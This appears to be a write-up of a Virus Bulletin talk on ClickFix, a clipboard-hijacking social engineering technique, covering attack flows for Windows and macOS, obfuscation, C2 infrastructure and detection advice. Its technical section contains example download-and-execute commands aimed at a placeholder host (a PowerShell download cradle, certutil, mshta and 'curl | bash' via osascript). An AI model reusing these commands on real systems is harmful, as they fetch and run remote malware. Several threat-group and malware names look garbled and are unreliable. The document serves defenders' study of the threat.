ClickFix: exploiting the clipboard for multi-stage payload delivery across OS platforms

ClickFix: exploiting the clipboard for multi-stage payload delivery across OS platforms

Speakers: Prashant Tilekar, Forescout Technologies

Conference: Virus Bulletin

YouTube: https://www.youtube.com/watch?v=Dt-JY9s4QwU

Overview

In this compelling talk, Prashant Tilekar from Forescout Technologies unveiled "ClickFix," a sophisticated and rapidly evolving social engineering tactic that leverages the system clipboard for multi-stage payload delivery across diverse operating systems. ClickFix represents a significant shift from traditional phishing attacks, focusing on a single, seemingly innocuous user action – copying and pasting a command – to achieve full system compromise. The presentation highlighted how this technique bypasses conventional security measures that rely on file downloads or attachment scanning, making it an increasingly prominent threat in the cybersecurity landscape.

The talk detailed the genesis and evolution of ClickFix campaigns, first observed in Q1 2024, which have quickly adapted from fake IT support emails to utilizing QR codes, localized language variants, and even generative AI for widespread global dissemination. Tilekar emphasized the critical need for defenders to understand this adaptive nature, as attackers continually integrate new technologies like AI-driven chatbots to enhance their lures. ClickFix's effectiveness stems from its ability to exploit user trust in familiar interfaces and the simplicity of a copy-paste action, making it a highly efficient vector for delivering malware and exfiltrating sensitive data.

This research is particularly pertinent for security professionals, threat hunters, and incident responders grappling with advanced persistent threats (APTs) and sophisticated social engineering campaigns. By meticulously dissecting the attack surfaces, obfuscation techniques, and cross-platform implications, Tilekar provided an invaluable framework for understanding, detecting, and mitigating this insidious threat. The talk underscored that ClickFix is not merely an emerging technique but a mature methodology actively employed by various threat actors, necessitating a comprehensive, multi-layered defensive posture.

Background

▶ Watch: Rise of ClickFix social engineering tactics (0:40)

The cybersecurity landscape has witnessed a significant evolution in social engineering tactics over recent years. Traditional methods, such as phishing emails that rely on users downloading malicious attachments or navigating to credential-harvesting websites, often involve multiple steps and are increasingly detected by sophisticated security solutions. ClickFix emerges as a direct response to these improved defenses, representing a paradigm shift towards single-action compromise. This technique exploits fundamental user behaviors and system functionalities, specifically the clipboard, to deliver malicious payloads without triggering conventional file-based or network-based alerts.

The problem ClickFix addresses for attackers is the growing difficulty of bypassing security controls that scrutinize file transfers and direct downloads. By manipulating the system clipboard, attackers can inject malicious commands or code directly into a user's paste buffer, making the user an unwitting participant in the attack chain. The trust users place in familiar interfaces, such as CAPTCHA verification pages or official-looking software update prompts, is heavily abused. Attackers craft scenarios where users are lured into copying a seemingly benign command or code snippet, believing they are resolving an issue or verifying their identity. However, the content actually copied to the clipboard is maliciously altered or entirely different from what is displayed, setting the stage for immediate execution upon pasting.

This method thrives on the simplicity and perceived safety of a copy-paste operation, which users routinely perform without much scrutiny. The ability to programmatically set clipboard contents, often through JavaScript on malicious websites or within compromised documents, allows attackers to deliver highly obfuscated and multi-stage payloads. This technique effectively bypasses initial attack vectors that require file downloads or direct information entry into phishing forms, thereby evading many perimeter and endpoint security solutions designed to detect such activities. The rise of ClickFix underscores a critical gap in traditional security awareness and technical controls, highlighting the need for a more granular understanding of how system utilities can be weaponized.

Key Findings

▶ Watch: Multi-stage attack sequence and flow (8:00)

The presentation revealed several critical findings regarding the nature and execution of ClickFix campaigns. At its core, ClickFix leverages clipboard manipulation as the primary initial access vector. Attackers employ JavaScript, HTML code, or other scripts to surreptitiously copy a hidden or different malicious payload to the user's clipboard, often while a benign-looking instruction is displayed on the screen. This sets up a multi-stage attack sequence:

1. Social Engineering Setup: Attackers post solutions on websites, forums, or emails, prompting users to "copy this command" or "verify you are not a robot."
2. Clipboard Manipulation: Malicious code ensures that the clipboard content is a hidden or different payload, not the benign text the user sees.
3. User Action: The user pastes the clipboard content into a terminal, PowerShell, or run dialog box, often with elevated privileges.
4. Execution: The pasted command downloads and executes further stages, establishing persistence, stealing credentials, or performing other malicious actions.

A significant aspect of ClickFix's success lies in its sophisticated obfuscation techniques. The talk identified three primary methods:

• Base64 Encoding: Malicious scripts or binaries are converted into Base64 strings, designed to evade detection mechanisms.
• Variable Splitting: Commands are broken into multiple fragments, assigned to separate variables, and then concatenated at execution time using operators like + in PowerShell or & in shell scripts.
• Polyglot Scripts: These advanced scripts are crafted to execute across multiple interpreters (e.g., CMD, Curl, Bash, JavaScript, PowerShell), enhancing cross-platform compatibility and bypassing platform-specific security controls.

ClickFix campaigns also incorporate robust evasion techniques to thwart analysis and detection:

• Environment Checks: Malicious code inspects the system for operating system details, running processes, and installed software to determine if it's operating in a real target environment or a sandbox, honeypot, or analyst machine. If a non-target environment is detected, execution is often halted.
• LOLBins (Living Off the Land Binaries): Attackers heavily abuse trusted, built-in system binaries to perform malicious actions. Examples include certutil.exe, mshta.exe, and msiexec.exe on Windows for downloading payloads, and curl, wget, and osascript on macOS/Linux for fetching remote scripts and executing AppleScript payloads.
• Anti-Analysis Techniques: These include VM and sandbox evasion, anti-debugging measures, delayed execution mechanisms (e.g., sleep functions), code obfuscation, process injection, and network evasion using techniques like Domain Generation Algorithms (DGAs) to avoid network-based detection.

The research established ClickFix's cross-platform applicability, detailing specific attack flows for Windows, macOS, and Linux, demonstrating its versatility. Furthermore, the talk highlighted a notable overlap in tactics and techniques with state-aligned threat groups such as APT26, APT28, Muddy Waters, and PIMEC, suggesting that these sophisticated actors are actively leveraging ClickFix. Specific malware families identified in these campaigns include Quiz for Windows and ODS Steer for macOS, indicating the breadth of malicious payloads delivered. The Command and Control (C2) infrastructure supporting ClickFix attacks typically features short-lived domains, CDN registration patterns, masked WHOIS details, automated TLS certificates (e.g., Let's Encrypt), and compact JSON-formatted communication designed to mimic legitimate traffic.

Technical Deep Dive

▶ Watch: Windows cross-platform attack example (16:00)

The technical sophistication of ClickFix lies in its seamless integration of social engineering with advanced system-level exploitation. The core mechanism, clipboard-based payload delivery, hinges on the attacker's ability to programmatically control the user's clipboard content. This is typically achieved through malicious JavaScript embedded on a deceptive webpage, a compromised document, or even applications with programmatic clipboard access. When a user interacts with these elements, an oncopy event or a similar script is triggered, silently replacing the visually displayed text with a malicious command in the clipboard. This command is often multi-layered and highly obfuscated.

Obfuscation Techniques are central to ClickFix's evasion capabilities.

• Base64 Encoding is a common initial step, converting a complex malicious script or binary into an ASCII string, which can bypass simple string-based detections. For example, a PowerShell command might be encoded as powershell -EncodedCommand JABhACAAPQAgACcAZgBvAG8AJwA7AA==, where the Base64 string decodes to '$a = 'foo';'.
• Variable Splitting further complicates static analysis. Instead of a single, recognizable command, the payload is fragmented across multiple variables. A PowerShell example might look like $cmd_part1 = "IEX (New-Object System.Net.WebClient).DownloadString('"; $cmd_part2 = "http://malicious.com/payload.ps1'))"; $full_cmd = $cmd_part1 + $cmd_part2; Invoke-Expression $full_cmd. This makes pattern matching significantly harder for security tools.
• Polyglot Scripts represent an advanced form of obfuscation. These scripts are designed to be executable by multiple interpreters, such as a single file that can be run directly in cmd.exe, bash, or powershell. This cross-platform compatibility allows attackers to broaden their reach and ensure payload execution regardless of the target operating system's default shell or scripting environment.

Evasion Techniques are employed to avoid detection by security analysts and automated systems.

• Environment Checks involve the malicious code actively querying the system for indicators of a virtualized environment, sandbox, or analysis machine. This could include checking for specific process names (e.g., wireshark.exe, procmon.exe), unusual amounts of RAM or CPU cores, or specific registry keys. If such an environment is detected, the malware might self-terminate or execute a benign payload to hide its true intent.
• The extensive use of LOLBins (Living Off the Land Binaries) is a hallmark of ClickFix. On Windows, common LOLBins include:
• certutil.exe: Primarily for managing certificates, but often abused to download files from URLs (e.g., certutil -urlcache -f http://malicious.com/payload.exe payload.exe).
• mshta.exe: Used to execute HTA (HTML Application) files, which can contain VBScript or JScript, often with mshta http://malicious.com/payload.hta.
• msiexec.exe: The Windows Installer, used to install MSI packages, but can be leveraged to download and execute malicious MSI files.
• On macOS and Linux, curl and wget are frequently used to fetch remote payloads (e.g., curl -o /tmp/payload.sh http://malicious.com/payload.sh).
• For macOS specifically, osascript is abused to execute malicious AppleScript or JavaScript payloads (e.g., osascript -e 'do shell script "curl -s http://malicious.com/script.sh | bash"'). This allows attackers to automate system interactions and leverage built-in macOS functionalities for malicious purposes.

The talk provided detailed cross-platform examples:

• Windows Scenario: A user lands on a "verify you are human" page. They are prompted to copy a command into the Run dialog (Windows Key + R). The command pasted is not the simple instruction displayed but a multi-level, obfuscated PowerShell payload. This PowerShell script, often Base64-encoded, decodes and executes, leading to the download of a batch file (via cmd.exe). This first-stage batch file then triggers a second batch file containing another layer of encoded PowerShell, which finally downloads and executes the actual malware, identified as Quiz. Communication with command and control (C2) infrastructure, including Telegram bots/chats, is established for data exfiltration and further command execution.
• macOS Scenario: Similar to Windows, a user is lured to a verification page. They copy a command and paste it into their terminal. While the output appears benign, the embedded obfuscated parameter (typically Base64) decodes to a curl command. This curl command quietly downloads an osascript file, which then executes a malicious AppleScript payload. This payload often includes credential harvesting by displaying fake macOS authentication prompts, tricking users into providing their passwords. It also performs data exfiltration, scanning user desktops and documents for sensitive file extensions like .txt, .pdf, and .key files. Persistence is established by using sudo to copy a starter script to ~/Library/LaunchDaemons, ensuring the malware runs at system startup. Shell script execution often uses do shell script with nohup to run in the background. The malware also sets system attribution variables (e.g., user, IP addresses) and communicates with hardcoded C2 IPs for remote code execution and data exfiltration. The activities observed were attributed to the ODS Steer malware family.

The C2 infrastructure supporting these attacks is designed for stealth and resilience. It utilizes rapid domain rotation, with domains often lasting less than a week to evade blocklists. These domains frequently incorporate keywords like "fix," "patch," "update," or "verify." Attackers leverage CDN registration patterns and mask WHOIS details using privacy protection services. TLS certificates are often automated via services like Let's Encrypt, providing quick and free HTTPS setup, making C2 traffic appear legitimate. Backend C2 communication typically uses compact JSON format within POST or GET requests, hiding hardware IDs, built-in versions, and time zone offsets, designed to mimic benign, legitimate traffic with frequent, rotating endpoints (e.g., /api/v2, /fix, /update).

Demo / Proof of Concept

▶ Watch: Key detection strategies for ClickFix (24:00)

While the presentation did not feature a live, interactive demonstration of the ClickFix attack, Prashant Tilekar provided detailed, step-by-step walkthroughs of attack scenarios for both Windows and macOS. These scenarios served as a clear proof of concept, illustrating how users are lured, how the clipboard is weaponized, and the subsequent multi-stage execution of malicious payloads. The examples effectively showcased the technical intricacies of the attack, from initial social engineering to the final malware execution and C2 communication, providing a comprehensive understanding of the threat without requiring a live demo.

Defensive Implications

▶ Watch: Recommendations and mitigation strategies (28:00)

The ClickFix attack vector necessitates a multi-layered and adaptive defensive strategy, moving beyond traditional perimeter and file-based detections. Defenders must enhance visibility into user actions, process behaviors, and network communications to identify and mitigate this threat effectively.

Key Detection Strategies:

1. Clipboard Anomaly Monitoring:

• Implement Endpoint Detection and Response (EDR) or Extended Detection and Response (XDR) solutions to monitor clipboard activity.
• Track the copying of high entropy strings or large blocks of text from web browsers directly into terminal sessions (e.g., PowerShell, CMD, Bash).
• Look for rapid paste actions immediately following a copy from an untrusted or newly registered domain.
• Some EDRs can flag patterns indicative of "key wallet" or sensitive data pasting, which can be adapted to detect suspicious command pasting.

1. LOLBin Sequencing Analytics:

• Develop analytics to detect unusual or chained execution of Living Off the Land Binaries (LOLBins).
• Specifically, monitor for powershell.exe executions with parameters like -NoProfile, -Hidden, or -EncodedCommand, especially when combined with immediate network connections to unusual or newly observed domains.
• Correlate LOLBin execution with child processes and the presence of Base64 encoded arguments, which are frequently used in ClickFix.
• For macOS/Linux, monitor curl, wget, and osascript executions, particularly when they download and immediately execute scripts from external sources or exhibit unusual command-line arguments.

1. Temporary Linkage and Process Execution Monitoring:

• Establish a temporary linkage between browser copy events and subsequent shell process spawning. If a shell process (e.g., cmd.exe, powershell.exe, bash, osascript) initiates within a short timeframe (e.g., 30 seconds) after a user copies content from a newly registered or suspicious domain, it should trigger an alert.
• Monitor for process trees where a browser is the parent of a shell, which then spawns further unusual processes or makes outbound network connections.

1. Network Heuristics:

• Identify and cluster short-lived domains (e.g., less than a week old) that exhibit identical C2 patterns, such as specific API endpoints (e.g., /api/v2, /fix, /update).
• Pre-enrich future connections to these short-lived domains with a higher suspicion score.
• Reduce noise by building a sanction list of known, legitimate scripts and vendors that might use similar patterns, to avoid false positives.
• Monitor for C2 traffic characteristics: compact JSON format, frequent requests to specific endpoints, and unusual hardware ID or timezone offset data.

Key Recommendations for Organizations:

1. Application and System Level Controls:

• Restrict Execution: Implement application whitelisting or AppLocker (Windows) to restrict the execution of non-approved scripts and binaries, or at least require them to be signed.
• Disable/Restrict LOLBins: Disable or restrict the use of LOLBins (certutil.exe, mshta.exe, msiexec.exe, osascript, etc.) if they are not essential for legitimate business operations within specific user groups.
• Browser Security Settings: Enforce strong browser security settings, including disabling JavaScript execution on untrusted sites and utilizing browser extensions that prevent programmatic clipboard manipulation.

1. Endpoint and Network Controls:

• Deploy XDR/EDR: Utilize advanced XDR/EDR solutions with behavioral detection capabilities that can identify suspicious process chains, LOLBin abuse, and unusual clipboard-to-shell activity.
• Monitor Process Trees: Continuously monitor and analyze process trees for anomalous parent-child relationships, especially involving browsers, shell commands, and system utilities.
• Network Segmentation and Filtering: Implement robust network segmentation and DNS filtering to block access to newly registered domains, known malicious C2 IPs, and domains with suspicious characteristics.

1. Privilege and Persistence Management:

• Limit Admin Access: Enforce the principle of least privilege, severely limiting administrative access rights. Many ClickFix payloads rely on elevated privileges for persistence or system compromise.
• Monitor Persistence Mechanisms: Alert on and restrict the creation or modification of common persistence mechanisms (e.g., Run keys, Scheduled Tasks, ~/Library/LaunchDaemons on macOS).

1. User Awareness and Education:

• "Pause Before Pasting": Conduct regular security awareness training emphasizing the dangers of blindly copying and pasting commands or code from untrusted sources. Encourage users to scrutinize the source and content before executing anything from their clipboard.
• Report Suspicious Activity: Train users to identify and report suspicious emails, webpages, or prompts that ask for unusual actions like copying and pasting commands.

Key Takeaways

• Evolving Social Engineering: ClickFix represents a significant evolution in social engineering, leveraging the simplicity of copy-paste actions for multi-stage payload delivery across Windows, macOS, and Linux.
• Bypassing Traditional Defenses: By weaponizing the system clipboard and avoiding direct file downloads, ClickFix effectively bypasses many traditional security controls focused on file and attachment scanning.
• Sophisticated Evasion: Attackers employ advanced obfuscation techniques (Base64, variable splitting, polyglot scripts) and evasion tactics (environment checks, LOLBin abuse, anti-analysis measures) to remain undetected.
• Cross-Platform Threat: The technique is highly versatile, with demonstrated attack flows and specific malware families (e.g., Quiz, ODS Steer) targeting diverse operating systems.
• Adaptive C2 Infrastructure: ClickFix campaigns are supported by resilient C2 infrastructure featuring rapid domain rotation, masked WHOIS, automated TLS, and compact JSON communication designed to mimic legitimate traffic.
• Multi-Layered Defense is Crucial: Effective defense requires a combination of clipboard anomaly monitoring, LOLBin sequencing analytics, process execution correlation, robust network heuristics, stringent system controls, and continuous user education on the "pause before pasting" principle.

About the Speaker(s)

Prashant Tilekar is a cybersecurity expert working at Forescout Technologies. With over 10 years of experience in the field, his expertise spans threat hunting, detection, and in-depth threat analysis. His research focuses on uncovering sophisticated attack vectors and helping organizations build resilient defensive strategies against evolving cyber threats.